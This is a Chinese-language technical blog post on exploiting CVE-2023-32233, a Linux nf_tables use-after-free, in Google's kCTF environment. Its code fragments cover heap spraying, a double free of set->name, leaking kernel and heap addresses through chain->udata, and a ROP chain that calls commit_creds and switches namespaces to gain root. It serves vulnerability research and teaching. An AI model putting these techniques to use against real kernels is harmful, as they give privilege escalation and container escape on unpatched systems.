CVE-2023-32233 在 Google KCTF 中的漏洞利用方案分析
这是对前文的补充,增加一种漏洞利用方案的分析,前文地址:
https://www.cnblogs.com/hac425/p/17967844/cve202332233-vulnerability-analysis-and-utilization-qrjoh
前文的漏洞利用的策略是通过占位 set 让 ext 指针错位,从而越界销毁相邻的 expr 实现任意地址读写。
static void nf_tables_set_elem_destroy(const struct nft_ctx *ctx,
const struct nft_set *set, void *elem)
{
struct nft_set_ext *ext = nft_set_elem_ext(set, elem);
if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPRESSIONS))
nft_set_elem_expr_destroy(ctx, nft_set_ext_expr(ext));
kfree(elem);
}
本文的思路则是利用 NFT_MSG_DELSET 来使用 UAF 的 set,实现 set->name 的 double free.
static void nft_set_destroy(const struct nft_ctx *ctx, struct nft_set *set)
{
int i;
if (WARN_ON(set->use > 0))
return;
for (i = 0; i < set->num_exprs; i++)
nft_expr_destroy(ctx, set->exprs[i]);
set->ops->destroy(set);
nft_set_catchall_destroy(ctx, set);
kfree(set->name); // set->name double free
kvfree(set);
}
static void nft_commit_release(struct nft_trans *trans)
{
switch (trans->msg_type) {
case NFT_MSG_DELSET:
nft_set_destroy(&trans->ctx, nft_trans_set(trans));
break;
具体的步骤如下:
- 创建 匿名 set (pwn_lookup_set)
- 创建 rule 其中包含一个 lookup expr,该 expr 引用 pwn_lookup_set
- 下发 netlink 批处理请求,批处理中有两个请求:NFT_MSG_DELRULE、NFT_MSG_DELSET
- nft_commit_release 处理 NFT_MSG_DELRULE 删除 rule 和 lookup expr,同时会释放 pwn_lookup_set
- nft_commit_release 处理 NFT_MSG_DELSET 时就会引用已经释放的 pwn_lookup_set,尝试再次释放 set.
在 4-5 之间使用另一个 set (race_set)占位,内核执行完 5 后, race_set 和 race_set->name 的内存就会被释放,漏洞就转换为 race_set 的 UAF
控制 race_set 的 name 长度可以获取 dyn-kmalloc-256 的 UAF,堆喷 race_set 控制 name 的代码如下
for (int spray = 0; spray != 0x20; ++ spray) {
char *set_name;
asprintf(&set_name, "race_set_%0200hx", spray); // 分配 209 大小的 set_name
pwn_create_set(batch, seq++, set_name, spray, NFT_SET_ANONYMOUS, sizeof(uaf_set_key), set_desc_size, 0, 0);
}
为了获取方便的内存读写能力,使用 chain->udata 占位 set->name,然后释放 set 就能实现 chain->udata 的 uaf,分配 udata 的代码如下:
static int nf_tables_addchain(struct nft_ctx *ctx, u8 family, u8 genmask,
u8 policy, u32 flags,
struct netlink_ext_ack *extack)
...
if (nla[NFTA_CHAIN_USERDATA]) {
chain->udata = nla_memdup(nla[NFTA_CHAIN_USERDATA], GFP_KERNEL_ACCOUNT); // [4]
if (chain->udata == NULL) {
err = -ENOMEM;
goto err_destroy_chain;
}
chain->udlen = nla_len(nla[NFTA_CHAIN_USERDATA]);
}
堆喷 chain->udata 占位的相关代码:
for(int i = 0 ; i < 0x20; i++){
char *chain_name;
asprintf(&chain_name, "spray_chain_%08hx", i);
pwn_create_leak_chain(batch, seq++, chain_name);
}
之后通过 NFT_MSG_GETCHAIN 就能读取 chain->udata 的数据,找一个有指针的对象占位 udata,就能泄露内核地址,这边使用的是 nft_rule 结构体:
rule 结构中的优点如下:
- list 指针指向堆喷的相邻 rule,通过它可以泄露相邻堆块的地址,然后结合堆喷可以在相应地址上伪造数据。
- rule 里面会内嵌 expr, expr 里面的 ops 指针保存了 KO 的地址,可以用来计算 gadget 的地址
- rule 结构体占用的内存大小用户态可以控制
rule 占位后通过 NFT_MSG_GETCHAIN 通过 chain->udata 读出对象的数据,泄露相关地址:
struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr(
mnl_batch_buffer,
NFT_MSG_GETCHAIN,
NFPROTO_INET,
NLM_F_ACK,
seq
);
char *chain_name;
asprintf(&chain_name, "spray_chain_%08hx", i);
nftnl_chain_set_str(chain, NFTNL_CHAIN_NAME, chain_name);
nftnl_chain_set_str(chain, NFTNL_CHAIN_TABLE, "testfirewall");
nftnl_chain_nlmsg_build_payload(nlh, chain);
nftnl_chain_free(chain);
if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) {
err(1, "Cannot into mnl_socket_sendto()");
}
memset(mnl_batch_buffer, 0, sizeof(mnl_batch_buffer));
mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
nft_counter_ops = *(unsigned long*) &mnl_batch_buffer[0x74];
kbase = nft_counter_ops - NFT_COUNTER_OPS;
heap_addr = *(unsigned long*) &mnl_batch_buffer[0x64];
victim_rule_handle = *(unsigned long*) &mnl_batch_buffer[0x6c] & 0xffff;
泄露出堆地址和内核代码地址后,再利用 chain->udata 来伪造 rule 结构和 nft_counter expr
最后 NFT_MSG_DELRULE 触发 expr->ops->deactivate 的调用进入 ROP
void make_payload_rop(uint64_t* data){
int i = 0;
data[i++] = kbase + POP_RSI_RET; // dummy
data[i++] = 0;
data[i++] = kbase + POP_RSI_RET; // dummy
data[i++] = 0;
data[i++] = kbase + POP_RSI_RET; // dummy
data[i++] = kbase + PUSH_RAX_POP_RSP; // expr->ops->deactivate()
// find_task_by_vpid(1)
data[i++] = kbase + POP_RDI_RET;
data[i++] = 1;
data[i++] = kbase + FIND_TASK_BY_VPID;
// switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy)
data[i++] = kbase + MOV_RDI_RAX_RET;
data[i++] = kbase + POP_RSI_RET;
data[i++] = kbase + INIT_NSPROXY;
data[i++] = kbase + SWITCH_TASK_NAMESPACES;
// commit_creds(&init_cred)
data[i++] = kbase + POP_RDI_RET;
data[i++] = kbase + INIT_CRED;
data[i++] = kbase + COMMIT_CREDS;
data[i++] = kbase + VFORK;
data[i++] = kbase + DELAY;
}
总结
struct rule 这种结构体中同时存在链表指针、内核镜像/ko地址 的对象是用于地址泄露非常理想的对象,可以同时泄露出堆地址和代码段地址,一般堆地址可能还可以通过内核逻辑进行占位从而控制数据,实现在内核特定地址中布置数据的功能,这个能力对于伪造内核对象来说是非常重要的功能。
对于桌面端内核漏洞 (ubuntu 有 ns 权限) 利用而言,netlink 里面的这些对象可以很方便的辅助漏洞利用。
参考
CVE-2023-32233 在 Google KCTF 中的漏洞利用方案分析的更多相关文章
- Linux64位程序中的漏洞利用
之前在栈溢出漏洞的利用和缓解中介绍了栈溢出漏洞和一些常见的漏洞缓解 技术的原理和绕过方法, 不过当时主要针对32位程序(ELF32). 秉承着能用就不改的态度, IPv4还依然是互联网的主导, 更何况 ...
- Google 云计算中的 GFS 体系结构
google 公司的很多业务具有数据量巨大的特点,为此,google 公司研发了云计算技术.google 云计 算结构中的 google 文件系统是其云计算技术中的三大法宝之一.本文主要介 ...
- 关于Google Chorme中字体小于12px的问题
问题:当字体大小设置成小于12px时,Google chrome中字体的大小始终显示为12px. 而其他浏览器则没有这个问题. 这时只需要在要改变字体大小的元素中添加 -webkit-transfor ...
- Google Chrome中的高性能网络 (三)
使用预连接优化了TCP连接管理 已经预解析到了主机名,也有了由OmniBox和Chrome Predictor提供信号,预示着用户未来的操作.为什么再进一步连接到目标主机,在用户真正发起请求前完成TC ...
- 如何在google test中指定只运行一部分测试
博客搬到了fresky.github.io - Dawei XU,请各位看官挪步.最新的一篇是:如何在google test中指定只运行一部分测试.
- google chrome中如何删除一条输入网址提示
在google chrome中网站栏输入字母的时候会出现网址的提示,如下图: 之前遇到个问题,不知道之前打错了www.baidu.com为wwww.baidu.com(也会跳转到百度)导致一输入“w” ...
- 如何在Google Map中处理大量标记(ASP.NET)(转)
如何在Google Map中处理大量标记(ASP.NET)(原创-翻译) Posted on 2010-07-29 22:04 Happy Coding 阅读(8827) 评论(8) 编辑 收藏 在你 ...
- Google搜索中的突变XSS-JavaScript Library Introduced XSS Flaw in Google Search
前言2018年9月26日,开源Closure库(最初由谷歌创建并用于谷歌搜索)的一名开发人员创建了一个提交,删除了部分输入过滤.据推测,这是因为开发人员在用户界面设计方面出现了问题.但此次提交的开发人 ...
- Excel与Google Sheets中实现线性规划求解
很久没更新过APS系列文章了,这段时间项目工作确实非常紧,所以只能抽点时间学习一下运筹学的入门知识,算是为以后的APS项目积累点基础.看了一些运筹学的书(都是科普级别的)发现原来我目前面对的很多排产. ...
- Android技巧分享——如何用电脑下载在Google play中应用的apk文件
[Android技巧分享系列] 1.Android技巧分享——让官方模拟器和genymotion虚拟机飞起来 2.Android技巧分享——如何用电脑下载在Google play中应用的apk文件 G ...
随机推荐
- 【赵渝强老师】使用Docker Compose进行服务编排
一.什么是Docker Compose? Docker Compose是一个用来定义和运行复杂应用的Docker工具.一个使用Docker容器的应用,通常由多个容器组成.使用Docker Compos ...
- const` 关键字位于函数签名的末尾
在 C++ 中,const 关键字可以应用于成员函数,表示该函数不会修改对象的成员变量. const 出现在 operator->() 成员函数的末尾,这意味着该成员函数在调用时不会修改对象的任 ...
- AMBA总线架构简介
于是乎,我们想到了总线,用一个统一的接口协议,设计出一个符合要求的总线,然后将ARM核和各种外设模块挂载在总线上,这样,命令和数据似乎便可以在CPU和外设之间自由穿梭. 1 AMBA总线 AMBA,英 ...
- 墨天轮高分技术文档分享——Oracle升级迁移篇(共96个)
朋友们好久不见,在上期<墨天轮最受欢迎的技术文档-SQL优化篇>的留言中,有许多朋友表示想看数据库升级迁移相关的内容,经过搜集整理,这就为大家呈上!原文送墨值中,欢迎大家参与~ 数据库升级 ...
- kotlin更多语言结构——>类型检测与类型转换 is 与 as
is 与 !is 操作符 我们可以在运行时通过使用 is 操作符或其否定形式 !is 来检测对象是否符合给定类型: if (obj is String) { print(obj.length) } i ...
- Nacos2.3.2在ubuntu中的部署
Nacos2.3.2 在ubuntu下的部署 下载地址 发布历史 | Nacos 官网 https://download.nacos.io/nacos-server/nacos-server-2.3. ...
- Linux基础-学会使用命令帮助
概述 使用 whatis 使用 man 查看命令程序路径 which 总结 参考资料 概述 Linux 命令及其参数繁多,大多数人都是无法记住全部功能和具体参数意思的.在 linux 终端,面对命令不 ...
- ConsulManager应用场景2:如何优雅的使用Consul管理Blackbox站点监控
[ConsulManager介绍] Consul字段设计说明 所有数据存在一个名为blackbox_exporter的Services项中,每个监控目标为一个子Service. 每个Service使用 ...
- Andrew 算法求凸包
Andrew 算法求凸包 参考资料: 右手定则(baidu.com) 内积和外积 - OI Wiki (oi-wiki.org) \(a\) 与 \(b\) 相对位置 \(b\) 在 \(a\) 的逆 ...
- 使用wxpython开发跨平台桌面应用,基类对话框窗体的封装处理
在开发桌面界面的时候,往往都需要对一些通用的窗体进行一些抽象封装处理,以便统一界面效果,以及继承一些通用的处理过程,减少重复编码.本篇随笔介绍使用wxpython开发跨平台桌面应用,基类对话框窗体的封 ...